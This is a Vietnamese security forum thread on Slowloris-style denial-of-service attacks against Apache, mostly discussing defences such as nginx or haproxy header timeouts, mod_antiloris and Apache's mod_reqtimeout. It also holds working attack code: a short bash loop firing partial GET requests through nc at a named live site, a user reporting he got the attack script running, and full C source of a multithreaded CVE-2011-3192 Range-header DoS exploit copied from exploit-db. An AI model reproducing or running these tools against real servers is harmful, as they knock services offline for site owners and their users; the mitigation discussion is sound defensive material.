Mình hết sức thắc mắc 2 điểm là : 1. Sao đến giờ này, chưa thấy có report / chưa "cảm thấy" được một.. "làn sóng" căng thẳng nào về việc khai thác lỗ hổng này vì với tính chất nghiêm trọng và khả năng dễ khai thác như vậy thì đây quả là một điều hết sức..không bình thường. Phải chẳng là trước khi bão thì biển rất lặng?!

Chưa đâu. Còn mới mẻ quá mà. Thật ra cái perl script (slowloris) đã được công bố và đã có vài phiên bản khác nhau (viết bằng python và php) đã được ra đời. Tuy nhiên để tích hợp nó vào botnets thì không đơn giản mà nếu chơi "solo" thì không mấy hiệu quả vì IP có thể bị ban ngay. Riêng cái slowloris nguyên thủy nếu để chạy được thì khối ông kiddies cũng phải vò đầu, rứt tai bởi vì cần phải có một mớ perl modules (cộng thêm một mớ dependencies nữa). Hiện nay sans đã chính thức công bố có vài vụ DDoS sử dụng slowloris để tấn công Iran (từ sau vụ bầu cử ở Iran). Ngoài ra chưa thấy thêm thông tin gì về các cuộc tấn công khác dùng slowloris. Riêng trên HVA thì từ ngày 19 tháng 6 2009 đến nay cũng có kha khá các vụ "thử nghiệm" nhưng chỉ xảy ra rời rạc và ngắn ngủi. Tuy vậy, tương lai vài tháng tới thì chưa biết sao.

Abe wrote:

2. Đã khá lâu rồi mà bạn Apache chưa thể hiện bất kể một ý định gì ;-) ?

Theo một số thảo luận của đám developers thì apache chưa có quyết định chính thức nhưng hiện đã có nhiều đề xuất khác nhau để fix tình trạng này. Hiện tượng trông có vẻ đơn giản nhưng lại khá phức tạp vì nó đụng đến nền tảng architecture của httpd apache. Đã có một patch (unofficial) cho apache 2.2.11 (và chỉ cho prefork mpm mà thôi) nhưng tôi thấy biện pháp xử lý mà patch này muốn thực hiện có vẻ không được triệt để. Nếu tôi đoán không sai thì apache sẽ áp dụng biện pháp "granular timeout". Hãy đón xem chuyện gì sẽ xảy ra trong vòng vài tuần tới.

Apache HTTP DoS

Abe — GMT

conmale wrote:

Abe wrote:

Mình hết sức thắc mắc 2 điểm là : 1. Sao đến giờ này, chưa thấy có report / chưa "cảm thấy" được một.. "làn sóng" căng thẳng nào về việc khai thác lỗ hổng này vì với tính chất nghiêm trọng và khả năng dễ khai thác như vậy thì đây quả là một điều hết sức..không bình thường. Phải chẳng là trước khi bão thì biển rất lặng?!
Chưa đâu. Còn mới mẻ quá mà. Thật ra cái perl script (slowloris) đã được công bố và đã có vài phiên bản khác nhau (viết bằng python và php) đã được ra đời. Tuy nhiên để tích hợp nó vào botnets thì không đơn giản mà nếu chơi "solo" thì không mấy hiệu quả vì IP có thể bị ban ngay. Riêng cái slowloris nguyên thủy nếu để chạy được thì khối ông kiddies cũng phải vò đầu, rứt tai bởi vì cần phải có một mớ perl modules (cộng thêm một mớ dependencies nữa). Hiện nay sans đã chính thức công bố có vài vụ DDoS sử dụng slowloris để tấn công Iran (từ sau vụ bầu cử ở Iran). Ngoài ra chưa thấy thêm thông tin gì về các cuộc tấn công khác dùng slowloris. Riêng trên HVA thì từ ngày 19 tháng 6 2009 đến nay cũng có kha khá các vụ "thử nghiệm" nhưng chỉ xảy ra rời rạc và ngắn ngủi. Tuy vậy, tương lai vài tháng tới thì chưa biết sao.

Theo em đánh giá thì vẫn đề này hết sức nghiệm trọng chứ không phải bình thường nên thời gian là 2 tuần cho tới bây giờ là tương đối dài. Thật ra thì em đánh giá các bạn có được trong tay 1 hay nhiều botnets không hề thấp nên việc các bạn ý làm ra 1 quả binary rồi cho pwned users exec là việc không hề khó ;-) Còn hiện tại thì vẫn có rất nhiều bạn "đơn nam" solo chết một cơ số các site/server, đặc biệt là mấy bạn hosting. Việc ngồi canh để Ban IP thật ra thì cũng không phải là một cách hay và dễ chịu đâu anh ạ :-* Bên cạnh đó, trong một số trường hợp (mà em đã được chứng thực) thì khá nhiều tay sysadmin hết sức lúng tung khi gặp phải vấn đề này, từ "wtf" cho tới "when", "why", "how" ;-) Vấn đề mấy ông vò đầu bứt tai thì quả thực là p4int in @ss nhưng mà cũng có cực nhiều đồng chí chả cần biết nó cần những modules / dependencies gì mà vẫn thấy perl -dns victim.vn ầm ầm mà không gặp trở ngại nào :-O , vấn đề ở chỗ cái liveCD/cái nhiều cái OS image nó có full hết rồi :*-

conmale wrote:

Abe wrote:

2. Đã khá lâu rồi mà bạn Apache chưa thể hiện bất kể một ý định gì ;-) ?
Theo một số thảo luận của đám developers thì apache chưa có quyết định chính thức nhưng hiện đã có nhiều đề xuất khác nhau để fix tình trạng này. Hiện tượng trông có vẻ đơn giản nhưng lại khá phức tạp vì nó đụng đến nền tảng architecture của httpd apache. Đã có một patch (unofficial) cho apache 2.2.11 (và chỉ cho prefork mpm mà thôi) nhưng tôi thấy biện pháp xử lý mà patch này muốn thực hiện có vẻ không được triệt để. Nếu tôi đoán không sai thì apache sẽ áp dụng biện pháp "granular timeout". Hãy đón xem chuyện gì sẽ xảy ra trong vòng vài tuần tới.

Absolutely agree. Em cũng đã nghĩ như anh, vấn đề em thắc mắc là bạn Apache foundation không/chưa có một động thái gì, ít nhất là để trấn an cộng đồng blah blah.. vì em nghĩ các bạn ý sẽ không ra patch mà sẽ sớm release new version sau hơn nửa năm..ngủ quên lol .. còn cả bạn Squid nữa chứ.. May mà đây toàn là các bạn Opensource.. chứ không thì mấy bạn như nginx phê đừng hỏi -:-)

Apache HTTP DoS

gamma95 — GMT

Phiên bản rút gọn nhất dành cho script kiddies: Code:

#!/bin/bash
while true; do
printf “GET / HTTP/1.0\n”|nc $1 80 &
done

Cách sử dụng ./bashloris.sh www.hvaonline.net nguồn: http://www.darknet.org.uk/2009/06/slowloris-http-dos-tool-in-perl/ :D

Apache HTTP DoS

conmale — GMT

Abe wrote:

Theo em đánh giá thì vẫn đề này hết sức nghiệm trọng chứ không phải bình thường nên thời gian là 2 tuần cho tới bây giờ là tương đối dài. Thật ra thì em đánh giá các bạn có được trong tay 1 hay nhiều botnets không hề thấp nên việc các bạn ý làm ra 1 quả binary rồi cho pwned users exec là việc không hề khó ;-) Còn hiện tại thì vẫn có rất nhiều bạn "đơn nam" solo chết một cơ số các site/server, đặc biệt là mấy bạn hosting. Việc ngồi canh để Ban IP thật ra thì cũng không phải là một cách hay và dễ chịu đâu anh ạ :-* Bên cạnh đó, trong một số trường hợp (mà em đã được chứng thực) thì khá nhiều tay sysadmin hết sức lúng tung khi gặp phải vấn đề này, từ "wtf" cho tới "when", "why", "how" ;-) Vấn đề mấy ông vò đầu bứt tai thì quả thực là p4int in @ss nhưng mà cũng có cực nhiều đồng chí chả cần biết nó cần những modules / dependencies gì mà vẫn thấy perl -dns victim.vn ầm ầm mà không gặp trở ngại nào :-O , vấn đề ở chỗ cái liveCD/cái nhiều cái OS image nó có full hết rồi :*-

-----> sao nghe thủ công quá vậy? :P -----> đây là do sysadmin được train cho... mì ăn liền thì phải vậy thôi.

Abe wrote:

Absolutely agree. Em cũng đã nghĩ như anh, vấn đề em thắc mắc là bạn Apache foundation không/chưa có một động thái gì, ít nhất là để trấn an cộng đồng blah blah.. vì em nghĩ các bạn ý sẽ không ra patch mà sẽ sớm release new version sau hơn nửa năm..ngủ quên lol .. còn cả bạn Squid nữa chứ.. May mà đây toàn là các bạn Opensource.. chứ không thì mấy bạn như nginx phê đừng hỏi -:-)

Anh nghĩ họ không cần lên tiếng vì nếu họ chính thức lên tiếng thì càng làm cho thiên hạ rối lên mà thôi.

Apache HTTP DoS

tranvanminh — GMT

8668 wrote:

Đã làm theo cách của bác tranvanminh,cải thiện tốc độ chút ít!

Thật ra khi tui post bài đó lên , tui và lão Hoàng cũng đã thử điều chỉnh sao cho thằng nginx hiệu quả , ruốt cuộc đúc kết được mấy cái option này .

worker_processes 2 client_header_timeout 5; ignore_invalid_headers on; limit_zone gulag $binary_remote_addr 1m;

Nó hoạt động như thế nào thì bạn vào đọc tài liệu tại https://calomel.org/nginx.html . Hôm qua, có bạn hỏi thăm tui, bây giờ server đang hoạt động nên không thể ráp thêm 1 con proxy vào và cũng không có tiền để mua server cho việc phòng hờ . Nhưng mà theo như kết quả test , thì mình chỉ cần cài đặt nginx vào server chung với apache vẫn có hiệu quả chống slowloris được như thường . Cách làm như tui đã post , chỉ cần cài đặt như bài trên thì cũng ngon lành rồi . Còn có thật hay không thì các bạn tự làm thử đi rồi biết -:-)

Apache HTTP DoS

8668 — GMT

tranvanminh wrote:

8668 wrote:

Đã làm theo cách của bác tranvanminh,cải thiện tốc độ chút ít!
Thật ra khi tui post bài đó lên , tui và lão Hoàng cũng đã thử điều chỉnh sao cho thằng nginx hiệu quả , ruốt cuộc đúc kết được mấy cái option này .
worker_processes 2 client_header_timeout 5; ignore_invalid_headers on; limit_zone gulag $binary_remote_addr 1m;
Nó hoạt động như thế nào thì bạn vào đọc tài liệu tại https://calomel.org/nginx.html . Hôm qua, có bạn hỏi thăm tui, bây giờ server đang hoạt động nên không thể ráp thêm 1 con proxy vào và cũng không có tiền để mua server cho việc phòng hờ . Nhưng mà theo như kết quả test , thì mình chỉ cần cài đặt nginx vào server chung với apache vẫn có hiệu quả chống slowloris được như thường . Cách làm như tui đã post , chỉ cần cài đặt như bài trên thì cũng ngon lành rồi . Còn có thật hay không thì các bạn tự làm thử đi rồi biết -:-)

Cách đơn giản nhất để cài nginx làm proxy: http://www.howtoforge.com/reduce-apache-load-with-nginx-rhel5.2 Tốt nhất là compile lại nginx vì gói rpm cũ qua rồi! Cảm ơn bác tranvanminh đã đưa ra giải pháp khá thú vị!

Apache HTTP DoS

sup3rmm — GMT

Các bác dùng thử thằng này http://haproxy.1wt.eu/, option timeout http-request, cái này chắc đúng ý bác male :P. Em apply thằng này cho hệ thống đến nay vẫn ổn

Apache HTTP DoS

matrix — GMT

Giải pháp tạm thời trên máy đơn khi chưa có bản vá cho apache bạn thử install cái mod_antiloris thử xem. Tham khảo link tôi gởi kèm: ftp://ftp.monshouwer.eu/pub/linux/mod_antiloris/

Apache HTTP DoS

xxxxx.kenji.xxxxx — GMT

Loay hoay mãi vẩn chưa run được, đuối.....Có bác nào giúp e trải nghiệm với, vì em không rành về Perl. Thanks!

Apache HTTP DoS

conmale — GMT

xxxxx.kenji.xxxxx wrote:

Loay hoay mãi vẩn chưa run được, đuối.....Có bác nào giúp e trải nghiệm với, vì em không rành về Perl. Thanks!

Bồ muốn "trải nghiệm" cái gì? Không rành về Perl thì học Perl, thực hành Perl. Sách về Perl có một tỉ cuốn trên mạng kìa. Những cái này không có ai có thể giúp được cả.

Apache HTTP DoS

conmale — GMT

Phiên bản apache httpd 2.2.15 (trở đi) có thêm module mod_reqtimeout hiện đang ở tình trạng "experimental". Module này cho phép ấn định giá trị "timeout" của request. Có hai phần chính trong directive RequestReadTimeout đó là timeout cho "body" và timeout cho "header". Đối với slowloris, giá trị timeout cho "header" chính là biện pháp chống chọi với dạng DDoS được thảo luận ở trên. Nó tương tự với giá trị client_header_timeout của nginx. Tuy nhiên, xét về mặt kỹ thuật thì RequestReadTimeout của apache hay hơn client_header_timeout của nginx ở chỗ nó có thêm giá trị "MinRate" đi kèm. Giá tri "MinRate" này là một phương tiện để ấn định khả năng gia giảm giá trị "timeout" dynamically. Bởi vậy, nó uyển chuyển hơn client_header_timeout của nginx. Ví dụ: RequestReadTimeout header=5-10,MinRate=500 Dòng ấn định trên có nghĩa nôm na là một request đi vô sẽ được httpd apache chờ đợi thông tin của request header (chỉ header chớ không bao gồm luôn body) là 5 giây. Nếu phía client gởi data cho phần header thì cứ mỗi 500 bytes mà httpd apache nhận được, nó sẽ gia tăng timeout thêm 1 giây. Nhưng nếu sau 10 giây mà không có thêm thông tin gì cho header nữa thì apache httpd sẽ huỷ connection của client đó. Tính uyển chuyển nằm ở chỗ nếu phía client có thật sự gởi data thì gia tăng giá trị "timeout" để tạo điều kiện cho client ấy tiếp tục gởi. Tuy nhiên, apache vẫn ấn định thời gian tối đa để gởi một http header là 10 giây. Trong tình trạng bị slowloris tấn công, RequestReadTimeout giúp triệt tiêu các connections mà slowloris tạo ra trong một khoảng thời gian được ấn định cụ thể thay vì bị tràn ngập hết "MaxClients" và hoàn toàn không thể tiếp tục phục vụ.

Apache HTTP DoS

xxxxx.kenji.xxxxx — GMT

conmale wrote:

xxxxx.kenji.xxxxx wrote:

Loay hoay mãi vẩn chưa run được, đuối.....Có bác nào giúp e trải nghiệm với, vì em không rành về Perl. Thanks!
Bồ muốn "trải nghiệm" cái gì? Không rành về Perl thì học Perl, thực hành Perl. Sách về Perl có một tỉ cuốn trên mạng kìa. Những cái này không có ai có thể giúp được cả.

Đã run, thanks!

Apache HTTP DoS

Monkey.D.Luffy — GMT

Hi, giúp em vấn đề này với. Em đã setup nginx và chạy thành công nhưng bị lỗi này. File config em như sau: -nginx listen ở port 80 -apache listen ở port 8000 -forum em chạy vbb Em vẫn chạy forum được với path http://site/forum/index.php nhưng có những script ví dụ như login, newpost nó lại bị wwwect về http://site:8000/forum/xxx.php? thế là ko thể connect được, muốn connect thì phải bỏ :8000 ở path, em muốn hỏi là làm sao để khắc phục tình trạng này? Thân.

Apache HTTP DoS

Monkey.D.Luffy — GMT

Hê hê, em fix được rồi mấy pác :D

Apache HTTP DoS

Monkey.D.Luffy — GMT

Bây giờ thì em lại có vấn đề với cache. Em đã config lưu cache thành công đối với file image,css,js nhưng đối với script thì nó vẫn lưu lại cache nên mỗi lần post bài thì phải F5 mới hiển thị được bài viết. Làm sao ko cho script *.php ko lưu lại cache mấy anh? Em đang sử dụng nginx 7.x nên ko có option proxy_no_cache, giờ chẳng biết làm sao, ai help em với ạ :( Thân.

Apache HTTP DoS

huyannet — GMT

- Nếu xài chung 1 proxy thì thằng proxy sẽ lảnh đạn trước rồi mới tới mình, Chắc chắn Proxy sẽ tự bảo vệ, điều đó cũng có nghĩa proxy là tấm đỡ cho mình 1 phần, Đứa nào qua được proxy thì mình đập đầu từng đứa 1 :-) - Còn nếu dùng proy cá nhân thì chỉ cần đập 1 cái chết liền đỡ mỏi tay hơn ở trên =)) . Em là nêu bai, lời em nói chỉ lai rai, có gì sai xin giả nai, đừng cho bái bai, kẻo em die. :*-

Apache HTTP DoS

conmale — GMT

huyannet wrote:

- Nếu xài chung 1 proxy thì thằng proxy sẽ lảnh đạn trước rồi mới tới mình, Chắc chắn Proxy sẽ tự bảo vệ, điều đó cũng có nghĩa proxy là tấm đỡ cho mình 1 phần, Đứa nào qua được proxy thì mình đập đầu từng đứa 1 :-) - Còn nếu dùng proy cá nhân thì chỉ cần đập 1 cái chết liền đỡ mỏi tay hơn ở trên =)) . Em là nêu bai, lời em nói chỉ lai rai, có gì sai xin giả nai, đừng cho bái bai, kẻo em die. :*-

Hiểu rõ vấn đề rồi hãy có ý kiến. Đừng đọc lướt rồi hiểu sai dẫn đến chỗ phát biểu trật lất hết.

Apache HTTP DoS

LlyKil — GMT

Monkey.D.Luffy wrote:

Hi, giúp em vấn đề này với. Em đã setup nginx và chạy thành công nhưng bị lỗi này. File config em như sau: -nginx listen ở port 80 -apache listen ở port 8000 -forum em chạy vbb Em vẫn chạy forum được với path http://site/forum/index.php nhưng có những script ví dụ như login, newpost nó lại bị wwwect về http://site:8000/forum/xxx.php? thế là ko thể connect được, muốn connect thì phải bỏ :8000 ở path, em muốn hỏi là làm sao để khắc phục tình trạng này? Thân.

Bạn có thể giải thích rõ chổ này giúp mình được không?

Apache HTTP DoS

lequi — GMT

Monkey.D.Luffy wrote:

Bây giờ thì em lại có vấn đề với cache. Em đã config lưu cache thành công đối với file image,css,js nhưng đối với script thì nó vẫn lưu lại cache nên mỗi lần post bài thì phải F5 mới hiển thị được bài viết. Làm sao ko cho script *.php ko lưu lại cache mấy anh? Em đang sử dụng nginx 7.x nên ko có option proxy_no_cache, giờ chẳng biết làm sao, ai help em với ạ :( Thân.

Bạn gửi nội dung file nginx config lên đây thì mọi người mới có thể giúp được :)

Apache HTTP DoS

theghoststone — GMT

Quyết liệt quá, nhìn mà ghiền, ước gì mình hiểu tất cả, chỉ hiểu 30%

Apache HTTP DoS

chiro8x — GMT

=.=! Cái này có gì hot ! nếu thiết lập request timeout hợp lý là ổn rồi. Ai biểu keep-alive làm chi.

Apache HTTP DoS

chiro8x — GMT

conmale wrote:

Phiên bản apache httpd 2.2.15 (trở đi) có thêm module mod_reqtimeout hiện đang ở tình trạng "experimental". Module này cho phép ấn định giá trị "timeout" của request. Có hai phần chính trong directive RequestReadTimeout đó là timeout cho "body" và timeout cho "header". Đối với slowloris, giá trị timeout cho "header" chính là biện pháp chống chọi với dạng DDoS được thảo luận ở trên. Nó tương tự với giá trị client_header_timeout của nginx. Tuy nhiên, xét về mặt kỹ thuật thì RequestReadTimeout của apache hay hơn client_header_timeout của nginx ở chỗ nó có thêm giá trị "MinRate" đi kèm. Giá tri "MinRate" này là một phương tiện để ấn định khả năng gia giảm giá trị "timeout" dynamically. Bởi vậy, nó uyển chuyển hơn client_header_timeout của nginx. Ví dụ: RequestReadTimeout header=5-10,MinRate=500 Dòng ấn định trên có nghĩa nôm na là một request đi vô sẽ được httpd apache chờ đợi thông tin của request header (chỉ header chớ không bao gồm luôn body) là 5 giây. Nếu phía client gởi data cho phần header thì cứ mỗi 500 bytes mà httpd apache nhận được, nó sẽ gia tăng timeout thêm 1 giây. Nhưng nếu sau 10 giây mà không có thêm thông tin gì cho header nữa thì apache httpd sẽ huỷ connection của client đó. Tính uyển chuyển nằm ở chỗ nếu phía client có thật sự gởi data thì gia tăng giá trị "timeout" để tạo điều kiện cho client ấy tiếp tục gởi. Tuy nhiên, apache vẫn ấn định thời gian tối đa để gởi một http header là 10 giây. Trong tình trạng bị slowloris tấn công, RequestReadTimeout giúp triệt tiêu các connections mà slowloris tạo ra trong một khoảng thời gian được ấn định cụ thể thay vì bị tràn ngập hết "MaxClients" và hoàn toàn không thể tiếp tục phục vụ.

Bài của anh conmale quá chuẩn luôn :(. Lúc nãy em đọc không kĩ. Thực ra slowris không có gì quá ghê gớm cả. Slowris lợi dụng việc Apache nhầm lẫn giữa \r\n\r\n và \r\n khiến cho nó không thể kết thúc truy vấn được.

Apache HTTP DoS

tuyenhva — GMT

1 code dos vào Apache mới trên exploit-db.com Code:

/*
 * This is a reverse engineered version of the exploit for CVE-2011-3192 made
 * by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
 * Copyright 2011 Ramon de C Valle 
 *
 * Compile with the following command:
 * gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
 */
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
void ptrace_trap(void) __attribute__ ((constructor));
 
void
ptrace_trap(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
        write(fileno(stdout), "Segmentation fault\n", 19);
        exit(-1);
    }
}
 
void
w4rn41dun14mu(int attr, int fg, int bg)
{
    char command[13];
 
    sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
    printf("%s", command);
}
 
void
banner()
{
    w4rn41dun14mu(0, 1, 0);
    fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
           stdout);
}
 
void
gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    puts("\nsorry dude there's an error...");
}
 
struct thread_info {
    pthread_t thread_id;
    int       thread_num;
    char     *argv_string;
};
 
static void *
thread_start(void *arg)
{
    struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
    int j;
 
    strcpy(hostname, tinfo->argv_string);
 
    j = 0;
    while (j != 10) {
        struct addrinfo hints;
        struct addrinfo *result, *rp;
        int sfd, s;
        ssize_t nwritten;
 
        memset(&hints, 0, sizeof(struct addrinfo));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = 0;
        hints.ai_protocol = 0;
 
        s = getaddrinfo(hostname, "http", &hints, &result);
        if (s != 0) {
            fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
            exit(EXIT_FAILURE);
        }
 
        for (rp = result; rp != NULL; rp = rp->ai_next) {
            sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
            if (sfd == -1)
                continue;
 
            if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
                close(sfd);
        }
 
        if (result != NULL)
            freeaddrinfo(result);
 
        nwritten = write(sfd, "HEAD / HTTP/1.1\n"
                              "Host:localhost\n"
                              "Range:bytes=0-,0-\n"
                              "Accept-Encoding: gzip", 71);
        if (nwritten == -1)
            close(sfd);
 
        usleep(300000);
 
        j++;
    }
 
    return 0;
}
 
int
main(int argc, char *argv[])
{
    int i;
    struct thread_info tinfo;
 
    banner();
 
    if (argc <= 1) {
        w4rn41dun14mu(0, 2, 0);
        fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
        return 0;
    }
 
    w4rn41dun14mu(0, 3, 0);
    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);
 
    while (1) {
        i = 0;
        while (i != 50) {
            tinfo.thread_num = i;
            tinfo.argv_string = argv[1];
 
            pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);
 
            usleep(500000);
 
            i++;
        }
    }
}

http://www.exploit-db.com/exploits/18225/